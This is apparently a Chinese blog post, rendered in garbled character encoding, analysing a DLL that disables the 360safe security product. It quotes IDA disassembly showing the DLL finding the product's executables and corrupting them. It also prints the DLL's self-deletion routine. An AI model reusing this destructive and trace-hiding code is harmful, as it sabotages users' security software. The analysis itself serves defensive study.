MJ0011原創(chuàng) 轉(zhuǎn)載注明哦!
=================================
注意:此文為技術(shù)分析,不帶任何偏向立場(chǎng)
由本文反匯編某廠商的病毒文件或曰惡意競(jìng)爭(zhēng)文件而導(dǎo)致的任何法律問題,本人一概不負(fù)責(zé)
=================================
我將文中那個(gè)cab文件download了下來 解壓得patch34.dll(內(nèi)部名稱是patch33.dll,看來升級(jí)得太快，程序員連版本信息也沒改就發(fā)布了)
使用反匯編工具ida 5.0，發(fā)現(xiàn)了一些有意思的東西，現(xiàn)摘錄如下:
我自己加了一些注釋
; Exported entry?? 1. DllRegisterServer
;DLL注冊(cè)時(shí)要干下面的事
; HRESULT DllRegisterServer(void)
public DllRegisterServer
DllRegisterServer proc near
push??? offset s_360safe ; "
360safe"
;呵呵，這是要干嘛呢？
call??? sub_10001477--->去調(diào)用這個(gè)子程序
pop???? ecx
push??? hModule???????? ; hModule
call??? sub_10001291
push??? 1
pop???? eax
retn
DllRegisterServer endp
下面來看push了360safe后 sub_10001477這個(gè)子程序干嘛去了
; Attributes: bp-based frame
sub_10001477 proc near
FindFileData= _WIN32_FIND_DATAA?ptr -350h
pvData=?dword ptr -210h
FileName= byte ptr -10Ch
pdwType= dword ptr -8
pcbData= dword ptr -4
arg_0= dword ptr? 8
;此處arg_0就是剛才被push的/360safe
push?ebp
mov?ebp, esp
sub?esp, 350h
and?byte ptr [ebp+pvData], 0
push?esi
push?edi
push?40h
pop?ecx
xor?eax, eax
lea?edi, [ebp+pvData+1]
and?[ebp+FileName],?0
rep stosd
stosw
stosb
push?40h
xor?eax, eax
pop?ecx
lea?edi, [ebp-10Bh]
rep stosd
stosw
stosb
lea?eax, [ebp+pcbData]
mov?esi, 103h
push?eax??; pcbData
lea?eax, [ebp+pvData]
push?eax??; pvData
lea?eax, [ebp+pdwType]
push?eax??; pdwType
push?offset pszValue?; "ProgramFilesDir"
;push要取的注冊(cè)表鍵值
push?offset pszSubKey ; "'SOFTWAREMicrosoftWindowsCurrentVersion"
;push子鍵值
push?80000002h?; hkey
mov?[ebp+pcbData], esi
mov?[ebp+pdwType], 1
call?ds:SHGetValueA
;獲得SOFTWAREMicrosoftWindowsCurrentVersionProgramFilesDir這個(gè)注冊(cè)表鍵的內(nèi)容
;其實(shí)也就是系統(tǒng)程序文件夾的位置
push?[ebp+arg_0]
;將獲得的程序文件夾位置+arg_0(360safe)
;得到360safe安裝文件夾地址
lea?eax, [ebp+pvData]
push?eax
push?offset s_SS_exe?; "%s%s*.exe"
lea?eax, [ebp+FileName]
push?esi??; size_t
push?eax??; char *
call?__snprintf
and?[ebp+FindFileData.dwFileAttributes], 0
;查找360安裝目錄下所有*.exe文件
add?esp, 14h
xor?eax, eax
lea?edi, [ebp+FindFileData.ftCreationTime]
push?4Fh
pop?ecx
rep stosd
lea?eax, [ebp+FindFileData]
push?eax??; lpFindFileData
lea?eax, [ebp+FileName]
push?eax??; lpFileName
call?ds:FindFirstFileA
mov?edi, eax
cmp?edi, 0FFFFFFFFh
jz?short loc_10001579
;此處為查找文件的循環(huán)判斷
loc_10001531:
lea?eax, [ebp+FindFileData.cFileName]
push?eax
lea?eax, [ebp+pvData]
push?[ebp+arg_0]
push?eax
push?offset s_SSS?; "%s%s%s"
lea?eax, [ebp+FileName]
push?esi??; size_t
push?eax??; char *
call?__snprintf
lea?eax, [ebp+FileName]
push?eax??; char *
call?sub_100013F7
;如果找到了.exe文件，那么開始對(duì)其進(jìn)行破壞
;sub_10013f7這個(gè)子程序的作用是破壞給定的EXE文件
;時(shí)間關(guān)系不列出代碼了
;說一下大概流程
;將push入的文件路徑用r+模式打開,然后自己判斷pe相關(guān)信息，最后寫入破壞后的pe結(jié)構(gòu)，導(dǎo)致exe文件無法執(zhí)行，提示非可執(zhí)行文件
add?esp, 1Ch
lea?eax, [ebp+FindFileData]
push?eax??; lpFindFileData
push?edi??; hFindFile
call?ds:FindNextFileA
test?eax, eax
jnz?short loc_10001531
test?edi, edi
jz?short loc_10001580
loc_10001579:??; hFindFile
push?edi
call?ds:FindClose
loc_10001580:
pop?edi
pop?esi
leave
retn
sub_10001477 endp
完成對(duì)360safe的可執(zhí)行程序破壞后
開始執(zhí)行
push??? hModule???????? ; hModule
call??? sub_10001291
在 sub_10001291中
該dll將利用rundll32.exe將自己加載為一個(gè)進(jìn)程執(zhí)行
并進(jìn)行自毀,自毀代碼如下:(參數(shù)為自己的dll名)
; int __cdecl sub_1000102E(LPCSTR lpExistingFileName,char)
sub_1000102E proc near
lpExistingFileName= dword ptr? 4
arg_4= byte ptr? 8
cmp?[esp+arg_4], 0
jnz?short loc_1000104F
push?[esp+lpExistingFileName] ; lpFileName
call?ds:DeleteFileA
;;首先執(zhí)行delete file
;;如果失敗則跑到loc_10001047
;;成功則返回
cmp?eax, 1
jnz?short loc_10001047
xor?eax, eax
retn
loc_10001047:
call?ds:GetLastError
jmp?short loc_10001052
loc_1000104F:
push?5
pop?eax
loc_10001052:
cmp?eax, 5
jz?short loc_10001060
cmp?eax, 20h
jz?short loc_10001060
push?1
jmp?short loc_10001079
;;使用win32下強(qiáng)大滴移除文件函數(shù)MoveFileExA對(duì)自己進(jìn)行刪除
;;不信自殺不了了我
loc_10001060:
call?sub_10001000
test?eax, eax
jz?short loc_1000107B
push?4??; dwFlags
push?0??; lpNewFileName
push?[esp+8+lpExistingFileName] ; lpExistingFileName
call?ds:MoveFileExA
push?2
loc_10001079:
pop?eax
retn
loc_1000107B:
push?0
push?[esp+4+lpExistingFileName]
call?sub_10001093
;;靠，還刪不掉
;;我把自己寫到wininit.ini里的rename里去，重啟后自動(dòng)刪除
;;可一定要?dú)瑴幺E呀!
pop?ecx
pop?ecx
xor?ecx, ecx
test?eax, eax
setnz?cl
inc?ecx
mov?eax, ecx
retn
sub_1000102E endp
綜上，這個(gè)dll做的事主要就是干掉360SAFE的所有可執(zhí)行文件，然后自毀
呵呵，真是殺人不留痕呀
MJ0011原創(chuàng) 轉(zhuǎn)載注明哦